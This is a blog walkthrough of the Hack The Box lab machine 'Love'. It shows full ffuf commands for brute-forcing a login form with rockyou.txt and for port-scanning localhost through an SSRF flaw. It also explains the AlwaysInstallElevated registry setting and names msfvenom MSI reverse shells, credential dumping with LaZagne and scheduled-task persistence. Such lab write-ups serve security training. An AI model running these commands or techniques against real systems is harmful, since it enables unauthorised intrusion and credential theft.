Love HTB Walkthrough

Dec 24, 2024    #box   #htb   #easy   #windows   #active-directory   #ssrf   #scheduledtask   #msi  

Love Hack The Box Walkthrough/Writeup:

How I use variables & Wordlists:

1. Enumeration:

NMAP:

Basic Scans:

Comprehensive Scans:

Updating ETC/HOSTS & Variables:

SMB 445:

Attempting to connect with NULL & Guest sessions:

Service 5000:

Service 7680:

Web 80/443:

Whatweb:

Dirbusting the webserver using ferox:

love.htb:

Visiting the web page:
Bruteforcing Login with FFUF:
ffuf -w ~/Wordlists/rockyou.txt -u $'http://love.htb/login.php' -X POST -H $'Host: love.htb' -H $'Content-Length: 31' -H $'Cache-Control: max-age=0' -H $'Accept-Language: en-US,en;q=0.9' -H $'Origin: http://love.htb' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Referer: http://love.htb/' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' -b $'PHPSESSID=au4g1f3co0aocdo2efhui2r734' -d $'voter=admin&password=FUZZ&login=' -ic -fw 1 -fs 341
Reading the source code:

staging.love.htb:

Visiting the web page:

Discovering the DEMO page is vulnerable to SSRF:

Retrieving Clear Text Credentials from the service running on port 5000:

Conducting An Internal Port Scan VIA The SSRF Vulnerability:
ffuf -w ~/Wordlists/45.06-CustomWordlists/Ports.txt -u $'http://staging.love.htb/beta.php' -X $'POST' -H $'Host: staging.love.htb' -H $'Content-Length: 47' -H $'Cache-Control: max-age=0' -H $'Accept-Language: en-US,en;q=0.9' -H $'Origin: http://staging.love.htb' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Referer: http://staging.love.htb/beta.php' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' -d $'file=http%3A%2F%2F127.0.0.1%3AFUZZ&read=Scan+file' -x http://127.0.0.1:8080 -fs 61

Accessing the admin panel:

2. Foothold:

Getting RCE on the host & a reverse shell:

Enumerating the host as phoebe:

Primer: Key Differences in reg queries:

  1. Registry Hive Scope:

    • HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated:

      • Refers to HKEY_LOCAL_MACHINE (HKLM), which applies settings at the system-wide level.
      • Changes here affect all users on the machine.
    • HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated:

      • Refers to HKEY_CURRENT_USER (HKCU), which applies settings at the user-specific level.
      • Only affects the currently logged-in user.
  2. Purpose

    • HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer:

      • specifically queries the AlwaysInstallElevated value in the HKEY_LOCAL_MACHINE hive.
      • Represents a system-wide policy that determines if MSI files can be installed with elevated privileges (Administrator rights).
        • Enabled (1): Allows all users to install MSI files with elevated privileges.
        • Disabled (0 or absent): Prevents this behavior globally.
    • HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated:

      • Specifically queries the AlwaysInstallElevated value.
      • Determines whether the user can install software with elevated privileges (Administrator rights).
        • Enabled (1): Allows installing MSI files with elevated privileges.
        • Disabled (0 or absent): Prevents this behavior.

3. Privilege Escalation:

Privesc Method 1: Creating a malicious msi reverse shell with msfvenom:

Privesc Method 2: Adding a new Admin User with msfvenom:

4. Persistence:

Dumping Admin Hash with LaZagne.exe:

Adding a Scheduled Task To Call Back Out to us:

This is one of my favorite techniques as I can just set the task and whenever I want start our listener.

Lessons Learned:

What did I learn?

  1. I learned to just be persistent, again this is an easier box, but I was trying to rush it. Slow down and get it done properly.

What silly mistakes did I make?

  1. I tried to cred stuff the voting page and not the admin page initially, really need to stop seeing two fields for user input and trying to ram creds in there. So I learned to slow down and read.

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

ā€“ Bloodstiller

ā€“ Get in touch bloodstiller at bloodstiller dot com



Next: Editorial HTB Walkthrough